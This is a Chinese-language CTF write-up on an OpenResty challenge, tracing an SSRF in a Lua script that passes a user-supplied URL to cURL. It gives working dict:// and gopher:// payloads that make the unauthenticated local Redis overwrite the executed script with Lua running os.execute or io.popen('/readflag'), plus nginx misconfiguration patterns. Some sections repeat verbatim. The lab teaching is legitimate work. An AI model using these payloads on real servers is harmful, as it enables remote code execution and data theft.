HTTP 请求 浏览器或客户端发送的数据包 包含 URL、方法(GET/POST)、参数、Cookies 等
location Nginx 配置里的路由块 告诉 Nginx URL 的访问规则,比如静态文件还是 Lua 脚本
index.html 静态网页 当用户访问 / 时显示内容
main.lua Lua 脚本文件 动态处理请求,CTF 漏洞入口
worker_connections Nginx 配置参数 每个 worker 同时能处理多少个连接

2️⃣ nginx.conf 分块讲解

events {
worker_connections 1024;
}

  • events 模块:

    • Nginx 用事件驱动处理请求

    • worker_connections 1024 → 每个 worker 最多同时处理 1024 个用户请求

  • 对象

    • worker_connections → 一个参数,数值对象

    • Nginx 的 “worker” → 程序内部线程/进程对象

http {
include mime.types;
default_type application/octet-stream;

sendfile on;
keepalive_timeout 65;

  • http 模块:

    • 配置 Web 服务相关的全局参数

  • 对象

    • mime.types → 文件类型映射表(静态文件返回时用)

    • default_type → 默认返回的 Content-Type

    • sendfile → 系统调用,优化大文件传输

    • keepalive_timeout → HTTP 长连接超时时间

server {
listen 80;
server_name localhost;

  • server 块

    • 定义一个“虚拟主机”,可以理解成一台网站

  • 对象

    • listen → 端口号对象(这里是 80)

    • server_name → 主机名对象


2.1 静态文件 location

location / {
root html;
index index.html;
}

  • location / → URL 根路径 /

  • root html → 容器里的 /usr/local/openresty/nginx/html 文件夹

  • index index.html → 默认返回 index.html

  • 对象

    • URL / → 请求对象

    • html 文件夹 → 文件对象

    • index.html → 文件对象

✅ 这块就是 静态网页服务,用户访问 / 会看到这个页面。


2.2 动态 Lua 脚本 location

location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

  • location /visit → URL /visit 对应的处理

  • default_type text/plain → 响应类型是纯文本

  • content_by_lua_file → Nginx 内置 Lua 执行指令

    • 对象main.lua 文件对象

    • 用户访问 /visit 时,Nginx 会调用 main.lua 脚本来生成响应

  • 对象关系

    • HTTP 请求 → Nginx → Lua 脚本处理 → 返回响应


2.3 lua_code_cache

lua_code_cache off;

  • 对象:Lua 脚本缓存参数

  • 作用

    • 默认 Lua 脚本会缓存,修改后不生效

    • off → 每次访问都会重新加载 Lua 脚本

  • CTF 用途:

    • 修改 /scripts/visit.script 立即生效,不用重启 Nginx


3️⃣ 整个请求流程(对象 + 流向)

用户浏览器发送 HTTP 请求(HTTP 请求对象)


Nginx(Web 服务器对象)
┌─────────────┴─────────────┐
│ │
/ /visit
静态文件 location 动态 Lua location
html/index.html main.lua 脚本对象


读取 /scripts/visit.script 文件对象


执行 Lua 代码对象


返回响应(HTTP 响应对象)


4️⃣ 对象总结

对象类型 容器里的具体例子 作用
文件对象 /html/index.html, /lua/main.lua, /scripts/visit.script, /flag 存储数据或代码
配置对象 nginx.conf, mime.types 指示 Nginx 行为
进程 / worker 对象 Nginx worker, LuaJIT 执行请求处理逻辑
HTTP 请求对象 浏览器访问 //visit 触发服务响应
Lua 脚本对象 main.lua Web 动态逻辑和漏洞入口
响应对象 Nginx 输出内容 用户看到的网页或文本
参数对象 worker_connections, listen, lua_code_cache 控制行为的设置

💡 一句话理解

  1. 用户发 HTTP 请求 → 请求对象

  2. Nginx 拿到请求 → 根据 location 路由

  3. / → 静态文件

  4. /visit → Lua 脚本(main.lua)处理 → 动态逻辑

  5. Lua 可以访问 /scripts、Redis、flag → 漏洞入口

  6. 执行结果 → 响应对象 → 返回给用户

CTF 中 nginx.conf 看这些(对比你的文章)

通用文章讲的 CTF 要看的 为什么
性能优化、Gzip location 路由映射 找到所有入口点
负载均衡 哪些路径走 Lua/PHP/FastCGI 确定攻击面
SSL 配置 文件路径、权限配置 找文件包含/读取漏洞
日志分割 变量使用如 $uri$document_root 解析漏洞、路径穿越
限流安全 是否有 alias 配置 alias 目录穿越漏洞

CTF 专用检查清单

1. 路由与攻击面(最重要)

# 看这些:
location / {
    # 静态文件?→ 检查路径穿越
    root /var/www/html;     
    index index.html;
}

location /api {
    # 代理到后端?→ SSRF、HTTP走私
    proxy_pass http://backend;
}

location /visit {
    # Lua 脚本?→ 代码执行(本题!)
    content_by_lua_file /path/main.lua;
}

location ~ \.php$ {
    # PHP?→ 文件包含、上传、反序列化
    fastcgi_pass php-fpm;
}

# 隐藏路由?
location /admin { ... }
location /internal { ... }
location ~ /(flag|config|backup) { ... }

2. 危险配置(直接漏洞)

# 1. alias 目录穿越(经典!)
location /files {
    alias /var/www/files/;    # 注意末尾斜杠!
    # 访问 /files../ → 穿越到 /var/www/
}

# 2. 变量解析漏洞
location ~ \.(gif|jpg|png)$ {
    root /var/www/$arg_path;  # $arg_path 可控 → 路径穿越
}

# 3. 配置错误暴露源码
location ~ /\.git { deny all; }    # 有这条 = 提示有 .git
location ~ \.sql$ { deny all; }    # 提示有 SQL 备份

# 4. 危险的 header 或 body 处理
client_body_in_file_only on;       # 上传文件存临时文件
client_max_body_size 100M;         # 大文件上传

3. 权限与文件操作

# 看运行用户(影响文件读写权限)
user www-data;   # 还是 root?nobody?

# 看日志路径(日志污染攻击)
error_log /var/log/nginx/error.log;
access_log /var/log/nginx/access.log;

# 看 include(可能包含其他配置)
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

回到本题:你已经看到的

location /visit {
    content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

CTF 视角解读:

发现 含义
/visit 走 Lua 请求触发 main.lua
main.lua 读 /scripts/visit.script 需要控制这个文件
lua_code_cache off 每次请求重新加载,改文件立即生效

一、这段 Lua 是前端代码吗? 不是。

这段代码属于后端逻辑,运行环境是:

OpenResty (Nginx + Lua)

它在服务器端执行,而非浏览器端。

二、前端具体指什么? 前端指在浏览器中运行的内容,通常包括:

  • index.html
  • CSS 文件
  • JavaScript 文件

示例:

<form action="/visit" method="get">
  <input name="url">
  <button>Submit</button>
</form>

这段 HTML 才是前端代码。

三、完整请求流程 假设 Nginx 配置如下:

location / {
  root html;
  index index.html;
}

location /visit {
  content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

请求流程为:

  1. 浏览器访问 /
  2. Nginx 返回 html/index.html
  3. 用户点击按钮发送请求
  4. 浏览器请求 /visit
  5. Nginx 调用 main.lua
  6. 执行对应的 Lua 代码

四、核心问题解析 这段 Lua 代码如何被触发?

触发机制:

通过 Nginx 调用执行。在 nginx.conf 中配置:

content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;

当访问对应 URL 时,就会执行这段 Lua 代码。

一、这段 Lua 是前端代码吗? 不是。

这段代码属于后端逻辑,运行环境是:

OpenResty (Nginx + Lua)

它在服务器端执行,而非浏览器端。

二、前端具体指什么? 前端指在浏览器中运行的内容,通常包括:

  • index.html
  • CSS 文件
  • JavaScript 文件

示例:

<form action="/visit" method="get">
  <input name="url">
  <button>Submit</button>
</form>

这段 HTML 才是前端代码。

三、完整请求流程 假设 Nginx 配置如下:

location / {
  root html;
  index index.html;
}

location /visit {
  content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

请求流程为:

  1. 浏览器访问 /
  2. Nginx 返回 html/index.html
  3. 用户点击按钮发送请求
  4. 浏览器请求 /visit
  5. Nginx 调用 main.lua
  6. 执行对应的 Lua 代码

四、核心问题解析 这段 Lua 代码如何被触发?

触发机制:

通过 Nginx 调用执行。在 nginx.conf 中配置:

content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;

当访问对应 URL 时,就会执行这段 Lua 代码。

nginx里面有

location / { root html; index index.html; }

1️⃣ location / 和 location /visit 分工

location / {
root html;
index index.html;
}

  • 前端就在这里

  • / 对应 URL 根路径

  • 浏览器访问 http://localhost/ → Nginx 找 html/index.html 返回

  • index.html + 里面的 CSS/JS 就是 前端

  • 前端完全在浏览器里运行

location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

  • /visit 对应 URL /visit

  • 这里没有前端

  • 访问 /visit → Nginx 不返回静态页面,而是执行 Lua 脚本

  • Lua 脚本是后端逻辑,直接处理服务器文件(如 /scripts/visit.script

前端有向/visit发起请求的,完全可控

这是visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
    ngx.say("URL parameter is missing!")
    return
end

local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
    ngx.say(res)
    return
end

local c = curl.easy {
    url = url,
    timeout = 5,
    connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end

c:close()

local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

ngx.say(response_str)
##LUA_END##

其实直接测也能知道有ssrf,看代码只是验证,所以其实这题

逐行解析 + CTF 关注点

1. 引入模块

local curl = require("cURL")        -- 引入 cURL 库(HTTP 客户端)
local redis = require("resty.redis") -- 引入 Redis 客户端
语法 含义 CTF 关注
require("模块名") 加载外部库 知道有哪些功能可用

2. 读取请求参数

ngx.req.read_body()                          -- 读取请求 body(POST 用)
local args = ngx.req.get_uri_args()          -- 获取 URL 参数(?a=1&b=2)
local url = args.url                         -- 获取 url 参数的值
语法 含义 CTF 关注
ngx.req.read_body() 读取 POST body 本题是 GET,可省略
ngx.req.get_uri_args() 获取所有 URL 参数 返回 表(table)
args.url 访问表的字段 等价于 args["url"]

攻击点: url 参数完全可控!


3. 参数检查

if not url then
    ngx.say("URL parameter is missing!")     -- 输出错误信息
    return                                   -- 结束执行
end
语法 含义 CTF 关注
if not 变量 如果变量为 nil/false Lua 中 nil 表示空
ngx.say("字符串") 输出到 HTTP 响应 类似 echo
return 结束函数 后面的代码不执行

4. 连接 Redis

local red = redis:new()              -- 创建 Redis 对象
red:set_timeout(1000)                -- 设置超时 1000ms

local ok, err = red:connect("127.0.0.1", 6379)   -- 连接本地 Redis
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end
语法 含义 CTF 关注
对象:new() 创建新对象 面向对象风格
对象:方法() 调用对象的方法 冒号表示 self 参数
local ok, err = 函数() 接收多个返回值 Lua 可以多返回

关键: 连接的是 127.0.0.1:6379无密码!


5. 查询缓存

local res, err = red:get(url)        -- 用 url 作为 key 查 Redis
if res and res ~= ngx.null then      -- 如果有值且不为空
    ngx.say(res)                     -- 直接返回缓存内容
    return                           -- 结束
end
语法 含义 CTF 关注
red:get(key) Redis GET 命令 查询缓存
res ~= ngx.null 不等于空值 ~= 是不等于
if A and B A 和 B 都真才执行 短路求值

攻击点: 如果之前访问过相同 URL,直接返回缓存,不会发请求


6. cURL 发起请求(💣 SSRF!)

local c = curl.easy {                -- 创建 cURL 对象
    url = url,                       -- 💣 用户可控的 URL!
    timeout = 5,
    connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)   -- 设置回调:数据存入表

local ok, err = pcall(c.perform, c)  -- 执行请求(保护调用)
语法 含义 CTF 关注
curl.easy { ... } 创建 cURL 对象,表作为配置 类似构造函数
url = url 💣 SSRF 漏洞点! 可以访问内网
table.insert(表, 值) 向表追加元素 数组操作
pcall(函数, 参数) 保护调用,出错不崩溃 返回 ok, err

核心漏洞: url 参数直接进 cURL,可以访问:

  • http://127.0.0.1:6379 → Redis

  • file:///etc/passwd → 读本地文件(如果支持)

  • gopher://127.0.0.1:6379/... → 任意 Redis 命令


7. 错误处理

if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end

c:close()
语法 含义
c:close() 关闭 cURL 连接
.. 或 , 字符串连接(ngx.say 里用 , 自动转字符串)

8. 存入缓存

local response_str = table.concat(response_body)   -- 把表拼接成字符串

local ok, err = red:setex(url, 3600, response_str) -- 存入 Redis,3600秒过期
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

ngx.say(response_str)                              -- 返回给客户端
语法 含义 CTF 关注
table.concat(表) 把数组拼接成字符串
red:setex(key, 秒, value) Redis SETEX 命令 设置带过期时间的缓存

脚本执行了scripts/visit.script的内容,这个脚本需要##LUA_START##  和##LUA_END##包裹

scripts/visit.script 也有##LUA_START##包裹 然后才有的ssrf,所以tongx

攻击的"一次性"特性

原始状态:
/scripts/visit.script = 有 cURL+Redis 功能的代码(你之前贴的那个)

攻击步骤:
1. SSRF 访问 gopher://127.0.0.1:6379/...
2. Redis CONFIG SET dir /scripts
3. Redis CONFIG SET dbfilename visit.script  
4. Redis SET x "##LUA_START##os.execute('id')##LUA_END##"
5. Redis SAVE

结果:
/scripts/visit.script 被覆盖成:
##LUA_START##
os.execute('id')
##LUA_END##

至于用redis未授权写的话,直接dict协议就行。

直接使用 redis 将 lua 写入 visit.script

dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"
dict://127.0.0.1:6379/config:set:dir:/scripts/
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/bgsave

好问题!dict vs gopher 协议的选择,核心看 Redis 版本和配置


协议对比

协议 原理 适用场景 优缺点
dict dict://ip:port/命令 直接发文本 Redis 4.x/5.x 早期版本,或配置宽松 简单直观,但高版本可能禁用
gopher gopher://ip:port/_数据 发原始 TCP 所有版本,特别是高版本或有防护 万能,但构造复杂需要 URL 编码

什么时候用 dict?

✅ 可以用 dict 的情况

dict://127.0.0.1:6379/CONFIG SET dir /tmp
条件 说明
Redis 4.x 或 5.x 早期 默认接受任意协议文本
protected-mode no 无密码保护
没有 bind 127.0.0.1 限制 或 SSRF 来自本地
题目明确测试过可用 比如本题你可以试试

❌ dict 失效的情况

情况 原因
Redis 6.x+ 加强了协议校验,dict 可能不认
有 requirepass 需要认证,dict 不好带密码
有 rename-command CONFIG "" CONFIG 被禁用
防火墙/IPS 拦截 非标准 HTTP 被拦截

什么时候必须用 gopher?

✅ 必须用 gopher 的情况

gopher://127.0.0.1:6379/_*2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0d%0a...
场景 为什么用 gopher
需要认证 AUTH password dict 不好构造多行交互
需要精确控制换行 \r\n gopher 发原始字节流
Redis 6.x+ 或高版本 只认 RESP 协议,gopher 可以构造
复杂命令序列 多条命令一起发
dict 被过滤/拦截 gopher 更隐蔽

本题分析

你的环境

RUN apt install redis -y

Debian/Ubuntu 默认源的 Redis 版本:

  • Ubuntu 18.04 (bionic) → Redis 4.x 或 5.x

结论:dict 大概率可用!


测试方法

测试 1:dict 协议(简单)

# 直接测试 Redis 是否响应
curl "http://靶机IP/visit?url=dict://127.0.0.1:6379/INFO"

# 或者
curl "http://靶机IP/visit?url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/tmp"

如果返回 Redis 信息,说明 dict 可用!

测试 2:gopher 协议(万能)

# 构造 RESP 协议的 PING
curl "http://靶机IP/visit?url=gopher://127.0.0.1:6379/_*1%0d%0a%244%0d%0aPING%0d%0a"

# 返回 +PONG 说明成功

实战选择流程

开始
  │
  ▼
尝试 dict://127.0.0.1:6379/INFO
  │
  ├─► 返回 Redis 信息 ──► 用 dict!简单快捷
  │
  └─► 无响应/报错 ──► 用 gopher!万能构造
        │
        ▼
  构造 RESP 协议 payload
        │
        ▼
  成功攻击

本题建议

先测 dict(因为 Redis 版本低)

# 测试连接
curl "http://127.0.0.1/visit?url=dict://127.0.0.1:6379/PING"

# 测试写配置
curl "http://127.0.0.1/visit?url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/scripts"

# 检查是否成功
redis-cli CONFIG GET dir

如果 dict 不行,再上 gopher

# 完整的 gopher payload(之前给的)
curl "http://127.0.0.1/visit?url=gopher://127.0.0.1:6379/_*3%0d%0a..."

一句话总结

场景
Redis 4.x/5.x,简单题 dict,简单直接
Redis 6.x+,需要认证,复杂命令 gopher,万能构造
不确定 先 dict 试试,不行换 gopher

总结就是先测dict协议。

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐